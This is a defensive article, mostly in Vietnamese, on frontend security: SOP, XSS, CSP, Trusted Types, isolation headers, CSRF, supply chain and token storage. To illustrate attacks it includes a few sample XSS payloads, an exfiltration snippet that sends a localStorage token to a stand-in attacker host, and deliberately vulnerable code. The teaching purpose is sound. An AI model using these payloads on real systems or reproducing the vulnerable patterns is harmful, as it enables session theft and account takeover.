Frontend Security Architecture: Browser Model, XSS, CSP, and Defense-in-Depth
How the browser security model, XSS, CSP, isolation headers, and supply-chain controls form a layered defense for modern frontend systems.
Trình duyệt không phải môi trường runtime đáng tin cho logic ứng dụng của bạn. Mỗi tab tải code từ hàng chục origin, thực thi với quyền gần như native, và lộ một attack surface rộng qua DOM, storage API và network stack. Kỹ sư frontend senior không coi security như một mục checklist gắn thêm vào feature branch. Họ thiết kế defense-in-depth: các lớp fail độc lập, header ràng buộc execution, encoding sống sót qua context switch, và threat model giả định compromise ở mọi ranh giới.
Bài viết này map browser security model từ first principles qua các mitigation hiện đại (2024–2026). Chúng ta cover Same-Origin Policy, taxonomy và sink của XSS, Content Security Policy, cross-origin isolation, clickjacking, ranh giới CSRF, supply-chain risk và token storage — không dạy lại CORS hay cookie mechanics chi tiết.
The Same-Origin Policy: Foundation, Not Firewall
Same-Origin Policy (SOP) là primitive isolation chính của trình duyệt. Hai URL cùng origin khi scheme, host và port khớp chính xác.
| Component | Example A | Example B | Same origin? |
|---|---|---|---|
| Scheme | https | https | Yes |
| Host | app.example.com | app.example.com | Yes |
| Port | 443 (implicit) | 443 | Yes |
| Full origin | https://app.example.com | https://api.example.com | No — host differs |
| Full origin | https://app.example.com | http://app.example.com | No — scheme differs |
Site là khái niệm thô hơn, dùng cho isolation rộng hơn (vd phase-out third-party cookie). Registrable domain gom subdomain: app.example.com và cdn.example.com cùng site (example.com) nhưng khác origin.
What SOP Protects
SOP ngăn một origin đọc response của origin khác qua JavaScript. Trang https://bank.example không thể fetch('https://evil.com/steal') rồi inspect body trừ khi evil.com opt-in qua CORS. Nó cũng chặn truy cập DOM cross-origin: iframe từ attacker.com nhúng trong trang bạn không đọc được DOM tree.
What SOP Does Not Protect
SOP không ngăn origin của bạn thực thi chuỗi do attacker kiểm soát. Nếu app phản chiếu user input vào HTML không encode, tấn công chạy same-origin — SOP không liên quan. SOP không chặn CSRF: trình duyệt sẽ gắn cookie vào request cross-site trừ khi control khác can thiệp. SOP không validate script bạn tải là benign — chỉ đảm bảo chúng chạy với quyền origin bạn sau khi load.
Insight cốt lõi: SOP định nghĩa trust boundary giữa các origin, không phải trong ứng dụng. Threat model phải giả định mọi chuỗi vượt ranh giới HTML, JavaScript, URL hoặc CSS context có thể thành code execution.
Cross-Site Scripting (XSS): Taxonomy and Mechanics
XSS là injection khi dữ liệu attacker kiểm soát trở thành script executable trong browser context của nạn nhân. Mọi biến thể XSS đều vi phạm giả định “data vẫn là data”.
Reflected XSS
Attacker tạo URL chứa payload; server echo vào response không encode. Nạn nhân click link; payload chạy trong session nạn nhân.
GET /search?q=<script>fetch('/api/transfer',{method:'POST',body:'to=attacker&amount=1000'})</script> HTTP/1.1
Host: shop.example.com
The server might render:
<p>Results for: <script>fetch('/api/transfer', ...)</script></p>
Impact thường theo session và cần social engineering, nhưng scanner tự động và open redirect khuếch đại phạm vi.
Stored XSS
Payload tồn tại phía server (database, comment, profile field) và chạy cho mọi user xem resource bị nhiễm. Stored XSS là class bug frontend-adjacent nghiêm trọng nhất vì scale ngang qua user không cần URL riêng từng nạn nhân.
DOM-Based XSS
Server trả HTML an toàn, nhưng JavaScript client đọc input attacker từ location.hash, postMessage, hoặc localStorage rồi ghi vào sink không sanitize. Static analysis và scanner server-side bỏ sót vì write vulnerable xảy ra hoàn toàn trong trình duyệt.
// Vulnerable: hash flows to innerHTML
const params = new URLSearchParams(location.hash.slice(1));
document.getElementById('bio').innerHTML = params.get('text');
// ?text=<img src=x onerror=alert(document.cookie)> in hash
Sinks: Where Data Becomes Code
Sink là API nào parse hoặc execute input như code hoặc markup.
| Sink category | Examples | Risk |
|---|---|---|
| HTML injection | innerHTML, outerHTML, document.write, insertAdjacentHTML | Script execution via <script>, event handlers |
| JavaScript execution | eval, new Function, setTimeout(string), setInterval(string) | Direct arbitrary code |
| URL navigation | location.href = userInput, window.open(userInput) | javascript: URLs |
| Framework escape hatches | React dangerouslySetInnerHTML, Vue v-html, Angular [innerHTML] | Same as HTML sinks, often with false confidence |
| Template literals in JS | Dynamic script construction | "${userInput}" in <script> blocks |
Framework hiện đại tự escape text interpolation (\{userName\} trong JSX render text đã escape). Chúng không bảo vệ raw HTML sink hay URL javascript: trong attribute như href=\{userUrl\} khi URL chưa validate.
Contextual Output Encoding
Encoding không phải one-size-fits-all. Cùng một chuỗi an toàn trong HTML text có thể break out trong attribute hoặc JavaScript string context.
| Context | Encode for | Example transform |
|---|---|---|
| HTML text | <, >, &, quotes | > → > |
| HTML attribute | quotes, <, & | " → " |
| JavaScript string | quotes, backslash, newlines, </script> | \ → \\ |
| URL parameter | RFC 3986 percent-encoding | space → %20 |
| CSS value | avoid injection via expression(), url() | strict allowlist |
Quy tắc: Encode ở thời điểm cuối cùng chịu trách nhiệm, đúng context, khi output — không khi lưu input. Input validation (allowlist, giới hạn độ dài) bổ sung encoding nhưng không thay thế.
DOMPurify and HTML Sanitization
Khi bắt buộc render rich HTML (CMS, output WYSIWYG), sanitization là bắt buộc. DOMPurify là thư viện client/server de facto: parse HTML trong DOM tách, strip node và attribute nguy hiểm, trả markup an toàn.
import DOMPurify from 'dompurify';
const dirty = userProvidedHtml;
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'ul', 'li'],
ALLOWED_ATTR: ['href', 'title'],
ALLOW_DATA_ATTR: false,
});
element.innerHTML = clean; // Still a sink — but input is sanitized
Cấu hình allowlist hẹp. Mỗi tag/attribute được phép là attack surface CVE tương lai khi browser parsing thay đổi. Sanitize lại trên server dù client đã làm — defense in depth.
Trusted Types API
Trusted Types chuyển phòng XSS từ convention sang enforcement. Khi bật qua CSP require-trusted-types-for 'script', gán string vào sink nguy hiểm throw trừ khi giá trị là TrustedHTML, TrustedScript, hoặc TrustedScriptURL tạo bởi policy đăng ký.
// Register a policy (typically once at app bootstrap)
const policy = trustedTypes.createPolicy('app', {
createHTML: (input) => DOMPurify.sanitize(input),
createScriptURL: (url) => {
const parsed = new URL(url, location.origin);
if (parsed.origin !== location.origin) throw new TypeError('External scripts blocked');
return parsed.href;
},
});
// Safe usage
element.innerHTML = policy.createHTML(untrustedMarkup);
// Throws TypeError — raw string rejected
// element.innerHTML = untrustedMarkup;
Trusted Types tích hợp CSP: cùng nhau loại bỏ cả class DOM XSS bằng cách biến assignment không an toàn thành runtime error cứng. Browser support tốt trên Chromium; polyfill có cho rollout dần.
Content Security Policy (CSP)
CSP là execution firewall khai báo qua HTTP header (hoặc <meta> với hạn chế). Nó báo trình duyệt resource nào được load và capability nào bị từ chối.
Directives That Matter
| Directive | Purpose |
|---|---|
default-src | Fallback for unspecified fetch directives |
script-src | Controls JavaScript execution sources |
style-src | CSS sources (inline styles need nonces/hashes or 'unsafe-inline') |
connect-src | fetch, XHR, WebSocket, EventSource targets |
frame-ancestors | Who may embed this page (clickjacking defense) |
base-uri | Restricts <base href> — prevents base tag hijacking |
object-src | Blocks plugins ('none' recommended) |
require-trusted-types-for | Enables Trusted Types enforcement |
upgrade-insecure-requests | Auto-upgrade HTTP subresources to HTTPS |
Nonces vs Hashes vs Allowlists
Allowlist (script-src https://cdn.example.com) fail thực tế: CDN host JSONP endpoint, Angular bundle và polyfill legacy thành script gadget. Mọi JSONP hoặc file upload trên origin trong allowlist thành bypass vector.
Nonce là giá trị random mỗi response, inject vào cả CSP header và mỗi thẻ <script> được phép.
Content-Security-Policy: script-src 'nonce-abc123xyz' 'strict-dynamic'; object-src 'none'; base-uri 'none';
<script nonce="abc123xyz" src="/app.js"></script>
<script nonce="abc123xyz">/* inline bootstrap */</script>
Hash ghim nội dung inline script chính xác: script-src 'sha256-base64encodeddigest='. Hash dùng cho inline snippet tĩnh nhưng vỡ khi đổi whitespace — không thực tế cho app dynamic.
'strict-dynamic' (CSP Level 3) cho phép script load bởi nonce/hash/trusted script load thêm script mà không cần allowlist mọi origin. Đây là cách output bundler hiện đại sống sót strict CSP mà không maintain CDN list dễ vỡ.
Report-Only and Reporting Endpoints
Triển khai CSP trong Content-Security-Policy-Report-Only trước khi enforce. Violation được report nhưng không block — thu telemetry về third-party script, inline handler legacy và leak build pipeline.
Content-Security-Policy-Report-Only: script-src 'nonce-random' 'strict-dynamic'; report-uri /api/csp-report; report-to csp-endpoint
Reporting-Endpoints: csp-endpoint="/api/csp-report"
Reporting API (report-to) thay report-uri deprecated trên browser hiện đại. Gom report trong observability stack; alert pattern violation mới sau deploy.
A Realistic Strict CSP (2026)
For a nonce-based SSR app (Astro, Next.js with middleware, etc.):
Content-Security-Policy:
default-src 'none';
script-src 'nonce-{RANDOM}' 'strict-dynamic' https:;
style-src 'nonce-{RANDOM}';
img-src 'self' data: https:;
font-src 'self';
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
base-uri 'none';
object-src 'none';
require-trusted-types-for 'script';
trusted-types app dompurify;
upgrade-insecure-requests;
Trade-off thật: 'strict-dynamic' bỏ qua host allowlist trên browser hỗ trợ (by design). Widget third-party (analytics, chat) cần propagate nonce hoặc iframe isolation. 'unsafe-inline' và 'unsafe-eval' nên coi là nợ migration tạm, không phải kiến trúc.
Vì sao allowlist fail: CSP evaluator của Google ghi nhận hàng trăm bypass qua JSONP, Angular template và CDN path confusion. Nonce + strict-dynamic là consensus ngành cho app dynamic.
Cross-Origin Isolation and Related Headers
Một số API mạnh (SharedArrayBuffer, timer độ phân giải cao, performance.measureUserAgentSpecificMemory) cần cross-origin isolation — đảm bảo cấp process không có nội dung cross-origin không tin cậy chia sẻ address space.
Cross-origin isolation requires both:
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp
| Header | Effect |
|---|---|
COOP (Cross-Origin-Opener-Policy: same-origin) | Isolates browsing context group; popups cannot retain window.opener reference across origins |
COEP (Cross-Origin-Embedder-Policy: require-corp) | Blocks cross-origin resources unless they explicitly opt in to being embedded |
CORP (Cross-Origin-Resource-Policy: same-origin or cross-origin) | Declares whether a resource may be loaded cross-origin into a COEP page |
Asset third-party (CDN, font, analytics pixel) phải gửi CORP/CORS header phù hợp hoặc proxy same-origin. Đây là chi phí tích hợp đáng kể — lên kế hoạch trước khi dùng SharedArrayBuffer trong WASM hoặc media pipeline production.
Verify isolation in DevTools:
console.log(crossOriginIsolated); // true when COOP + COEP succeed
console.log(typeof SharedArrayBuffer !== 'undefined'); // true when isolated
Permissions-Policy
Permissions-Policy (trước là Feature-Policy) tắt browser feature ở cấp document và iframe.
Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=(), usb=(), interest-cohort=()
Áp least privilege: chỉ delegate feature cho origin cần qua attribute allow trên iframe. Giới hạn blast radius khi embed third-party bị compromise.
Clickjacking: Frame Control
Clickjacking phủ iframe vô hình của site bạn lên UI decoy; click định vào decoy kích hoạt action trên trang đã authenticated.
Legacy: X-Frame-Options: DENY hoặc SAMEORIGIN — đơn giản nhưng không express allowlist.
Modern: CSP frame-ancestors replaces XFO with finer control:
Content-Security-Policy: frame-ancestors 'none';
# Or allow specific embedders:
Content-Security-Policy: frame-ancestors 'self' https://partner.example.com;
Dùng frame-ancestors trên deploy mới; giữ XFO defense-in-depth cho user agent cũ. Với trang phải embed được (widget), tách route embeddable với frame-ancestors nới lỏng và CSP strict trên route nhạy cảm.
CSRF and SameSite: Brief Boundaries
Cross-Site Request Forgery lừa trình duyệt nạn nhân gửi request đã authenticated mà nạn nhân không chủ ý. Trình duyệt gắn session cookie tự động — SOP không chặn request, chỉ đọc response.
Frontend-relevant mitigations (server-enforced, frontend-aware):
- SameSite cookie (
SameSite=LaxhoặcStrict) — xem bài cookies deep-dive cho semantics;Laxlà default hiện đại trên browser. - CSRF token — synchronizer token trong form hoặc double-submit cookie; SPA phải gắn token vào
fetchmutating. - Custom header —
fetchvớiX-Requested-Withhoặc custom header kích hoạt CORS preflight; form POST cross-site đơn giản không set header tùy ý. - Origin/Referer validation — server từ chối request thiếu hoặc lệch
Origintrên endpoint đổi state.
Đừng chỉ dựa CORS cho CSRF — CORS hạn chế đọc response, không gửi request có cookie.
Supply-Chain Security
Bundle là nối hàng nghìn dependency transitive, bất kỳ cái nào có thể exfiltrate data lúc runtime hoặc build. Sự cố event-stream / flatmap-stream (2018) và takeover tài khoản npm sau đó đưa supply-chain attack vào threat modeling thường xuyên.
Dependency Hygiene
| Control | Why |
|---|---|
Lockfiles (package-lock.json, pnpm-lock.yaml) | Reproducible installs; CI fails on unexpected dependency drift |
npm audit / OSV / Snyk in CI | Known CVE detection (with false-positive triage) |
| Minimal dependencies | Every package is code you did not write |
| Pin major versions; review minor/patch diffs | Supply-chain publishes happen on patch releases |
.npmrc ignore-scripts in CI | Blocks lifecycle script execution during install (trade-off: some packages break) |
Subresource Integrity (SRI)
Khi load script/style từ CDN không kiểm soát, SRI verify nội dung với cryptographic hash.
<script
src="https://cdn.example.com/lib/analytics.v2.min.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous"
></script>
Nếu CDN bị compromise, hash lệch chặn execution. Regenerate hash mỗi lần bump version — tự động trong build pipeline.
Import Maps and Third-Party Scripts
Import maps điều khiển module resolution trong browser không cần bundler. Coi mapped URL như dependency: pin version, dùng SRI nếu có thể, và CSP hạn chế script-src.
Build-Time Script Execution
Script postinstall, plugin @babel/core, và tích hợp Vite/Astro custom chạy với full filesystem và network trên máy dev và CI. Package bị compromise tấn công trước khi app ship. Mitigation: --ignore-scripts trong CI với exception allowlist, review dependency trên PR, và npm provenance / verify Sigstore cho package publish.
Secrets and Tokens on the Frontend
Mọi thứ trong storage JavaScript-accessible đều đọc được bởi script chạy trên origin — kể cả XSS payload và tag third-party bị compromise.
Why localStorage JWT Is Risky
Lưu access token trong localStorage hoặc sessionStorage lộ cho mọi script same-origin. Một bug XSS duy nhất thành account takeover toàn phần không có rào httpOnly.
// Attacker payload after XSS:
const token = localStorage.getItem('access_token');
fetch('https://attacker.example/exfil', {
method: 'POST',
body: token,
});
httpOnly Cookies and BFF Pattern
Session token trong cookie httpOnly, Secure, SameSite không đọc được từ JavaScript — XSS không exfiltrate trực tiếp. Trade-off: SPA cần BFF hoặc API proxy same-origin để gắn cookie server-side; API call client-side thuần sang domain API riêng tái giới thiệu pattern token-in-JS trừ khi dùng cookie auth với CORS cẩn thận (xem bài CORS deep-dive).
Token Theft Without Full XSS
Extension trình duyệt độc, package npm trong bundle bị compromise, và handler postMessage không validate origin cho phép đánh cắp token không cần reflected XSS cổ điển. Access token sống ngắn + refresh rotation + bind token với DPoP hoặc mTLS (nếu áp dụng) giới hạn cửa sổ replay.
// Vulnerable postMessage handler
window.addEventListener('message', (event) => {
// Missing: if (event.origin !== 'https://trusted.example') return;
handleOAuthCallback(event.data);
});
Không truyền token trong URL fragment (OAuth implicit flow legacy) — lộ qua Referer, browser history và server log. Dùng Authorization Code với PKCE cho public client.
Threat Modeling for Principal Engineers
Security architecture không phải danh sách feature — là phản hồi có ưu tiên với threat được model dưới giả định rõ ràng.
STRIDE-Oriented Frontend View
| STRIDE | Frontend manifestation | Primary controls |
|---|---|---|
| Spoofing | Fake login forms, typosquat CDN | CSP, SRI, visual integrity, auth UX |
| Tampering | DOM manipulation, MITM scripts | CSP, SRI, HTTPS, Subresource checks |
| Repudiation | Missing audit on client actions | Server-side logging (client logs are untrusted) |
| Information disclosure | XSS exfiltration, postMessage leaks | Encoding, CSP connect-src, httpOnly cookies |
| Denial of service | Main-thread bombs, memory exhaustion | Permissions-Policy, input limits, worker isolation |
| Elevation of privilege | Prototype pollution → RCE gadgets | Object.freeze patterns, CSP, dependency audit |
Security Checklist (Deploy Gate)
Dùng làm release gate, không phải audit một lần:
Headers and policy
- Strict CSP with nonces +
strict-dynamic; no'unsafe-eval'in production -
frame-ancestors 'none'(or explicit allowlist) on authenticated routes -
Cross-Origin-Opener-Policy/Cross-Origin-Embedder-Policyif using isolated APIs -
Permissions-Policydefault-deny on sensitive features - HSTS with preload consideration for apex domains
- CSP Report-Only staging before enforcement changes
Application code
- No string-to-sink paths without sanitization or Trusted Types policy
- Contextual encoding at every template boundary
-
postMessagehandlers validateevent.originstrictly - OAuth: Authorization Code + PKCE; no tokens in URLs
- Dependencies pinned; lockfile committed; audit in CI
Authentication
- Session tokens in httpOnly cookies (or equivalent non-JS storage)
- SameSite + Secure on all auth cookies
- CSRF tokens on all state-changing server endpoints
- Short-lived access tokens with rotation
Supply chain
- SRI on external scripts/styles
- Build pipeline runs with restricted install scripts
- Third-party scripts inventory matches CSP allowlist/nonce strategy
Verification
- DAST + manual XSS testing on DOM sinks and rich text paths
- CSP violation dashboard monitored post-deploy
-
crossOriginIsolatedverified if relying on SAB/WASM threads
Assume Breach, Layer Anyway
Không control đơn lẻ sống sót attacker quyết tâm với XSS + CSP yếu + token trong localStorage. Mục tiêu là tăng chi phí attacker để bug bị cô lập, phát hiện và vô dụng trước exfiltration. Principal engineer ghi rõ lớp nào bảo vệ asset nào, cái gì fail open vs closed, và incident response tắt script third-party bị compromise thế nào không redeploy cả app.
Closing Frame
Trình duyệt cho mỗi origin runtime mạnh và tin bạn không biến data thành code. Same-Origin Policy vẽ tường giữa các site; CSP, Trusted Types và isolation header vẽ tường trong origin bạn; encoding và sanitization giữ user data đúng lane; supply-chain discipline giữ người lạ khỏi build. Không cái nào thay authorization server-side an toàn — frontend chỉ tăng chi phí abuse, không enforce trust. Thiết kế cho phù hợp: fail closed, report violation, và coi mọi chuỗi là hostile cho đến khi chứng minh ngược lại.